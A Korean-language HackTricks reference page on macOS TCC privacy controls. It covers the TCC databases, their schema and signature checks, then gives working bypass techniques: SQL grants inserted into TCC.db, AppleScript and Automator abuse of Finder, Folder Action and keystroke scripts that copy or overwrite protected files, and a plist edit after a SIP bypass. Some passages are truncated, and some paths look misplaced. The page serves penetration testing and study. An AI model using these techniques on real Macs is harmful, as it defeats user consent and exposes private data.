macOS TCC

htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기

HackTricks를 지원하는 다른 방법:

기본 정보

**TCC (투명성, 동의 및 제어)**는 응용 프로그램 권한을 규제하는 보안 프로토콜입니다. 주요 역할은 위치 서비스, 연락처, 사진, 마이크, 카메라, 접근성 및 전체 디스크 액세스와 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 액세스를 부여하기 전에 명시적 사용자 동의를 요구함으로써 개인 정보 보호 및 사용자 데이터에 대한 제어를 강화합니다.

사용자는 응용 프로그램이 보호된 기능에 액세스를 요청할 때 TCC를 만납니다. 이는 사용자가 액세스를 승인하거나 거부할 수 있는 프롬프트를 통해 확인할 수 있습니다. 또한 TCC는 파일을 응용 프로그램으로 끌어다 놓는 등의 직접적인 사용자 조치를 수용하여 특정 파일에 대한 액세스를 부여함으로써 응용 프로그램이 명시적으로 허용된 것만 액세스하도록 보장합니다.

TCC/System/Library/PrivateFrameworks/TCC.framework/Support/tccd에 위치한 데몬에 의해 처리되며 /System/Library/LaunchDaemons/com.apple.tccd.system.plist에서 구성됩니다 (com.apple.tccd.system mach 서비스를 등록함).

로그인한 사용자 당 하나의 사용자 모드 tccd가 정의된 /System/Library/LaunchAgents/com.apple.tccd.plist에서 실행되며 com.apple.tccdcom.apple.usernotifications.delegate.com.apple.tccd mach 서비스를 등록합니다.

여기서 시스템 및 사용자로 실행되는 tccd를 볼 수 있습니다:

ps -ef | grep tcc
0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

Permissions are 부모 애플리케이션에서 상속되며 Bundle ID개발자 ID에 따라 권한이 추적됩니다.

TCC 데이터베이스

허용/거부 사항은 일부 TCC 데이터베이스에 저장됩니다:

  • **/Library/Application Support/com.apple.TCC/TCC.db**에있는 시스템 전역 데이터베이스.

  • 이 데이터베이스는 SIP로 보호되어 있으므로 SIP 우회만이 쓸 수 있습니다.

  • 사용자 TCC 데이터베이스 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**는 사용자별 환경 설정을 위해 사용됩니다.

  • 이 데이터베이스는 Full Disk Access와 같은 높은 TCC 권한을 가진 프로세스만 쓸 수 있습니다 (그러나 SIP로 보호되지는 않음).

이전 데이터베이스도 읽기 액세스를 위해 TCC로 보호됩니다. 따라서 TCC 권한이 있는 프로세스가 아니면 일반 사용자 TCC 데이터베이스를 읽을 수 없습니다.

그러나 FDA 또는 **kTCCServiceEndpointSecurityClient**와 같은 높은 권한을 가진 프로세스는 사용자 TCC 데이터베이스를 쓸 수 있습니다.

  • **/var/db/locationd/clients.plist**에 있는 세 번째 TCC 데이터베이스는 위치 서비스에 액세스할 수 있는 클라이언트를 나타냅니다.

  • SIP로 보호된 /Users/carlospolop/Downloads/REG.db 파일 (TCC로 읽기 액세스도 보호됨)에는 유효한 TCC 데이터베이스의 위치가 포함되어 있습니다.

  • SIP로 보호된 /Users/carlospolop/Downloads/MDMOverrides.plist 파일 (TCC로 읽기 액세스도 보호됨)에는 더 많은 TCC 허가된 권한이 포함되어 있습니다.

  • SIP로 보호된 /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist 파일 (누구나 읽을 수 있음)은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다.

iOS의 TCC 데이터베이스는 **/private/var/mobile/Library/TCC/TCC.db**에 있습니다.

알림 센터 UI시스템 TCC 데이터베이스에서 변경을 수행할 수 있습니다:

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

그러나 사용자는 tccutil 명령줄 유틸리티를 사용하여 룰을 삭제하거나 쿼리할 수 있습니다.

데이터베이스 쿼리

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

두 데이터베이스를 모두 확인하면 앱이 허용한 권한, 금지한 권한 또는 허용 여부를 확인할 수 있습니다 (요청할 것입니다).

  • **service**는 TCC 권한 문자열 표현입니다.

  • **client**는 권한이 있는 번들 ID 또는 바이너리 경로입니다.

  • **client_type**은 번들 식별자(0)인지 아니면 절대 경로(1)인지를 나타냅니다.

절대 경로인 경우 실행하는 방법

**launctl load you_bin.plist**를 실행하면 됩니다. plist 파일은 다음과 같습니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>

<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>

<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>

<!-- Run at load -->
<key>RunAtLoad</key>
<true/>

<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>

<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
  • **auth_value**은 다양한 값들을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3).

  • **auth_reason**은 다음과 같은 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)

  • csreq 필드는 실행할 이진 파일을 확인하고 TCC 권한을 부여하는 방법을 나타내기 위해 존재합니다:

# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"

또한 시스템 환경설정 --> 보안 및 개인 정보 --> 개인 정보 --> 파일 및 폴더에서 앱에 이미 부여된 권한을 확인할 수 있습니다.

사용자는 **tccutil**을 사용하여 룰을 삭제하거나 쿼리할 수 있습니다.

TCC 권한 재설정

# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All

TCC 서명 확인

TCC 데이터베이스는 애플리케이션의 번들 식별자를 저장하지만, 권한을 요청하는 앱이 올바른지 확인하기 위해 서명에 대한 정보도 저장합니다.

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

따라서, 동일한 이름과 번들 ID를 사용하는 다른 애플리케이션은 다른 앱에 부여된 권한에 액세스할 수 없습니다.

엔타이틀먼트 및 TCC 권한

앱들은 일부 리소스에 대한 액세스 권한을 요청하고 부여받는 것뿐만 아니라 관련 엔타이틀먼트를 가져야 합니다. 예를 들어 Telegram은 카메라에 액세스하기 위해 com.apple.security.device.camera 엔타이틀먼트를 가지고 있습니다. 이 엔타이틀먼트가 없는 앱은 카메라에 액세스할 수 없으며 (사용자에게 권한을 요청하지 않음).

그러나 앱이 ~/Desktop, ~/Downloads, ~/Documents와 같은 특정 사용자 폴더에 액세스해야 하는 경우, 특정 엔타이틀먼트가 필요하지 않습니다. 시스템은 액세스를 투명하게 처리하고 필요할 때 사용자에게 프롬프트를 표시합니다.

애플의 앱들은 프롬프트를 생성하지 않습니다. 그들은 엔타이틀먼트 목록에 사전 부여된 권한을 포함하고 있으며, 이는 팝업을 생성하지 않을 뿐만 아니라 어떤 TCC 데이터베이스에도 나타나지 않을 것을 의미합니다. 예를 들어:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>

이렇게 하면 캘린더가 사용자에게 알림, 캘린더 및 주소록에 액세스하도록 요청하지 않습니다.

공식 문서 외에도 권한에 관한 비공식적인 흥미로운 정보를 https://newosxbook.com/ent.jl에서 찾을 수 있습니다.

일부 TCC 권한은 다음과 같습니다: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 이들을 모두 정의하는 공개 목록은 없지만 알려진 목록을 확인할 수 있습니다.

민감한 보호되지 않은 위치

  • $HOME (자체)

  • $HOME/.ssh, $HOME/.aws 등

  • /tmp

사용자 의도 / com.apple.macl

이전에 언급한 대로 파일을 앱에 드래그앤드롭하여 해당 앱에 대한 액세스를 허용할 수 있습니다. 이 액세스는 TCC 데이터베이스에 명시되지 않지만 파일의 확장 속성으로 저장됩니다. 이 속성은 허용된 앱의 UUID를 저장합니다:

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

com.apple.macl 속성이 Sandbox에 의해 관리되고 tccd가 아닌 것이 신기합니다.

또한 컴퓨터 내의 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하는 경우, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 액세스를 제공하지 않습니다.

확장 속성 com.apple.macl은 다른 확장 속성과 달리 SIP에 의해 보호되기 때문에 지울 수 없습니다. 그러나 이 게시물에서 설명된 것처럼, 파일을 압축하고, 삭제한 다음 압축을 푸는 방식으로 비활성화할 수 있습니다.

TCC 권한 상승 및 우회

TCC에 삽입

어느 순간 TCC 데이터베이스에 쓰기 액세스를 얻게 되면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다 (주석 제거):

TCC에 삽입 예시

```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```

TCC 페이로드

일부 TCC 권한을 가진 앱에 들어갔다면 다음 페이지에서 해당 권한을 악용할 수 있는 TCC 페이로드를 확인하세요:

pagemacOS TCC Payloads

Apple 이벤트

Apple 이벤트에 대해 알아보세요:

pagemacOS Apple Events

자동화 (Finder) to FDA*

자동화 권한의 TCC 이름은: kTCCServiceAppleEvents 이 특정 TCC 권한은 또한 TCC 데이터베이스 내에서 관리할 수 있는 애플리케이션을 나타냅니다 (따라서 권한은 모든 것을 관리할 수 있는 것이 아닙니다).

Finder항상 FDA를 가지고 있는 애플리케이션입니다 (UI에 나타나지 않더라도), 따라서 자동화 권한을 가지고 있다면 해당 권한을 악용하여 일부 작업을 수행할 수 있습니다. 이 경우 앱은 **com.apple.Finder**에 대한 kTCCServiceAppleEvents 권한이 필요합니다.

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

이를 악용하여 자체 사용자 TCC 데이터베이스를 작성할 수 있습니다.

이 권한으로 파인더에 TCC 제한 폴더에 액세스하도록 요청하고 파일을 제공할 수 있지만, afaik로 파인더가 임의의 코드를 실행하도록 만들 수는 없습니다 FDA 액세스를 완전히 악용할 수 없습니다.

따라서 전체 FDA 기능을 악용할 수 없습니다.

이것은 파인더에 대한 자동화 권한을 얻기 위한 TCC 프롬프트입니다:

Automator 앱이 kTCCServiceAppleEvents TCC 권한을 가지고 있기 때문에 파인더와 같은 모든 앱을 제어할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드로 Finder를 제어할 수도 있습니다:

Automator 내부에서 셸 가져오기

```applescript osascript<

tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD

Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

</details>

**스크립트 편집기 앱**도 마찬가지입니다. Finder를 제어할 수 있지만 AppleScript를 사용하여 스크립트를 실행하도록 강제할 수는 없습니다.

### 자동화 (SE)에서 일부 TCC로

**시스템 이벤트는 폴더 작업을 생성할 수 있으며, 폴더 작업은 일부 TCC 폴더에 액세스할 수 있습니다** (데스크톱, 문서 및 다운로드), 따라서 다음과 같은 스크립트를 사용하여 이 동작을 악용할 수 있습니다:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true

-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath

-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if

-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

자동화 (SE) + 접근성 (kTCCServicePostEvent|kTCCServiceAccessibility) to FDA*

System Events에서의 자동화 + 접근성 (kTCCServicePostEvent)을 통해 프로세스에 키 입력을 보낼 수 있습니다. 이렇게 하면 Finder를 남용하여 사용자의 TCC.db를 변경하거나 임의의 앱에 FDA를 부여할 수 있습니다 (비밀번호가 요청될 수 있음).

Finder가 사용자 TCC.db를 덮어쓰는 예시:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate

-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1

-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1

-- Resolve $HOME environment variable
set homePath to system attribute "HOME"

-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1

-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1

-- Paste the file
keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility에서 FDA*로

접근성 권한을 악용하는 payload을 확인하여 FDA*로 권한 상승 또는 예를 들어 키로거를 실행할 수 있습니다.

Endpoint Security Client에서 FDA로

만약 **kTCCServiceEndpointSecurityClient**를 가지고 있다면, FDA를 가지고 있는 것입니다. 끝.

시스템 정책 SysAdmin 파일에서 FDA로

**kTCCServiceSystemPolicySysAdminFiles**는 사용자의 홈 폴더를 변경하고 따라서 TCC 우회를 허용하는 NFSHomeDirectory 속성을 변경할 수 있습니다.

사용자 TCC DB에서 FDA로

사용자 TCC 데이터베이스에 쓰기 권한을 얻으면 FDA 권한을 부여할 수 없습니다. 시스템 데이터베이스에 있는 권한만 부여할 수 있습니다.

하지만 **Finder에 대한 자동화 권한**을 부여하고 이전 기술을 악용하여 FDA*로 상승할 수 있습니다.

FDA에서 TCC 권한으로

전체 디스크 액세스의 TCC 이름은 **kTCCServiceSystemPolicyAllFiles**입니다.

이것은 실제 권한 상승이 아닌 것 같습니다만, 유용할 수 있습니다: FDA를 가진 프로그램을 제어하면 사용자 TCC 데이터베이스를 수정하고 어떤 액세스든 부여할 수 있습니다. 이것은 FDA 권한을 잃을 수도 있을 때 지속성 기술로 유용할 수 있습니다.

SIP 우회에서 TCC 우회로

시스템 TCC 데이터베이스SIP에 의해 보호되므로 지정된 엔타이틀먼트를 가진 프로세스만 수정할 수 있습니다. 따라서, 공격자가 SIP 우회를 찾으면 (SIP에 의해 제한된 파일을 수정할 수 있음), 다음을 할 수 있습니다:

  • TCC 데이터베이스의 보호를 제거하고 모든 TCC 권한을 부여할 수 있습니다. 예를 들어 다음 파일 중 하나를 악용할 수 있습니다:

    • TCC 시스템 데이터베이스

    • REG.db

    • MDMOverrides.plist

그러나 이 SIP 우회를 TCC 우회로 악용할 수 있는 다른 옵션이 있습니다. /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist 파일은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다. 따라서, 공격자가 이 파일의 SIP 보호를 제거하고 자신의 애플리케이션을 추가하면 해당 애플리케이션은 TCC를 우회할 수 있습니다. 예를 들어 터미널을 추가하려면:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist:

허용애플리케이션목록.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>

TCC 우회

참고 자료

Last updated